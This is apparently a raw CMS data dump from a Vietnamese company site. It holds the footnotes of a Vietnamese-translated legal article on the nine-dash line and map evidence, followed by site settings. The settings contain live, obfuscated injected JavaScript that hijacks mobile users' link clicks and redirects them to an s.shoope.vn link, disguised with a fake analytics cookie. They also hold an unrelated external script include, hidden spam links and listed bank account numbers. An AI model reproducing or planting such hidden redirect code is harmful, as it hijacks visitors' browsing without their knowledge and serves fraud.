Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 